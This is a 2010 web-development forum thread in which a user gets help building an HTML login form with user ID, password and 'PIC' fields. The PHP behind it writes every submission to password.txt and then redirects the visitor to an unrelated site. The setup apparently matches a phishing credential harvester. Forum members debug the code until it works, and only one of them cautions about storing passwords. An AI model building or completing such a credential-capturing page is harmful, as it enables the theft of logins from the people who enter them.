Forum Moderators: coopster

Message Too Old, No Replies

Help with my login form!

Is it HTML or PHP!?

         

zerkky

8:40 pm on May 16, 2010 (gmt 0)

10+ Year Member



Okay, so I made a login form with 3 text boxes. I also created an image as the submit button. When submit is clicked, I want the .php page to store the filled in form data in a text document while redirecting to another page (for example: saving to password.txt and redirecting to a site such as google). It's not working, so I'm not sure if my HTML is messed up or my PHP. Hope you can help!

My HTML form:
<form name="login" id="login" action="login.php" method="POST">

User ID
<input type="text" name="txtId" id="txtId" class="input" value="" tabindex="1" size="20">

User P/W <input type="password" name="txtPassword" id="txtPassword" class="input" value="" tabindex="2" maxlength="12"><BR>

User PIC <input type="text" name="txtPIC" id="txtPIC" class="input" value="" tabindex="1" size="20">

<input type="image" src="login.gif" name="image" value="submit" alt="Submit button"></div></div>
</form>


My PHP script:
<?php
$fp = fopen(”password.txt”, “a”);
fwrite($fp, “Username:$_POST[txtId]\tPassword:$_POST[txtPassword]\tPIC:$_POST[txtPIC]”);
echo “<HTML>

<FRAMESET cols=\”*\”>
<FRAME src=\”google”>
</FRAMESET>”;
?>

Matthew1980

9:04 pm on May 16, 2010 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Hi there zerkky,

Welcome to the forum!

On the php page you probably need to check to see if there is anything coming through first, by which I mean do a print_r($_POST) to see what is being sent. Ie:-

login.php
=========
<?php
echo "<pre>";
print_r($_POST);
echo "</pre>";
?>

I think when you try to access $_POST data pop in the single quotes ($_POST['element_name']) so that you don't get the undefined index - presumed constant notice get flagged when you run the script - pop error_reporting(E_ALL); on in the script to see what I mean.

When you attempt to 'catch' the $_POST data do it this way too:-

if(isset($_POST['image']) && ($_POST['image'] === "submit")){
//assign vars and process data now as you are certain form
//is submitted
}else{
//redirect back to form, error has happened
header("location: yoururl.php");
exit;
}

And just for reference:-

<FRAME src=\”google\”> missing the last toothpick there.

Not recommended to echo huge chunks of HTML either, too much strain on the parser when you get bigger & bigger echo's, little ones are fine though ;)

Hope this helps you a little.

Cheers,
MRb

rocknbil

5:06 pm on May 17, 2010 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



This also looks a little odd, look at your quotes:

"login.gif" <--- These are OK

”password.txt”, “a” <!-- Are these MS smart quotes?

If they are, open that puppy in notepad or some other text editor, anything but MS Word or similar, and fix them.

BTW I hope this is just an experiment, storing password info in a file is a hack waiting to happen.

zerkky

5:21 pm on May 17, 2010 (gmt 0)

10+ Year Member



Yes it is an experiment that I cannot get to work!

The login.gif I just put as a replacement picture when you click submit. I don't like the look of plain submit boxes. That is the correct way to place it, is it not?

And I'm not sure what the "a" stands for. I researched these PHP lines and kinda formed them together. I was hoping to get this working after I was done but guess not. Thanks for everyones help though!

StoutFiles

5:57 pm on May 17, 2010 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



</div></div>
</form>


Why are you closing two div's before the form is closed? Pretty sure those style quotes in your fopen won't work as well.

The "a" is to append; it will open the file and put the data on a new line at the end of the file. If you want to erase the file before writing the content use 'w'.

$File = "password.txt";
$fh = fopen($File, 'a') or die("can't open file");
$File_content = "Username:".$_POST[txtId]."\tPassword:".$_POST[txtPassword]."\tPIC:".$_POST[txtPIC]."";

fwrite($fh, $File_content);
fclose($fh);

zerkky

6:41 pm on May 17, 2010 (gmt 0)

10+ Year Member



Thank you StoutFiles,

it works using the code you provided. Just curious; how do I make it re-direct to another page? When I click submit, it stores the information correctly, but just takes me to the blank login.php page.

zerkky

6:46 pm on May 17, 2010 (gmt 0)

10+ Year Member



Nevermind, got it. It's just:

header('Location:http://www.php.net');

Thanks for everyones help! Very nice forum with GREAT support. Out of 6 webmaster forums I signed up for to try and get help with my problem, this forum had the quickest and most in-depth help. You guys brought me to a conclusion for my problem whereas the other forums only gave me tips. Thanks again!

rocknbil

8:49 pm on May 17, 2010 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



One of the important differences between StoutFiles' code and yours is he/she used regular ASCII quotes, not "smart quotes" from MS word.

fopen() attributes [us3.php.net]: a = append, w = overwrite or create, r = read, x = create and write only if it doesn't exist (still haven't found a good use for this one . . . )

zerkky

9:28 pm on May 17, 2010 (gmt 0)

10+ Year Member



Ohh okay thanks for the information everyone!

Just another quick question.. if I enter random information in the form twice, my text file displays this:
Username:random Password:random PIC:randomUsername:ergPassword:rgPIC:erg

Is there any code where I can make each submission on a separate line?

Matthew1980

9:33 pm on May 17, 2010 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Hi there zerkky,

I think as you need the newline carriage return at the end, kinda like this:-

$File_content = "Username:".$_POST['txtId']."\tPassword:".$_POST['txtPassword']."\tPIC:".$_POST['txtPIC']."\n\r";

I think that would do it as long as you are appending the data to the file :) Don't forget the single quotes in the element names, or the php parser *should* throw an error..

Cheers,
MRb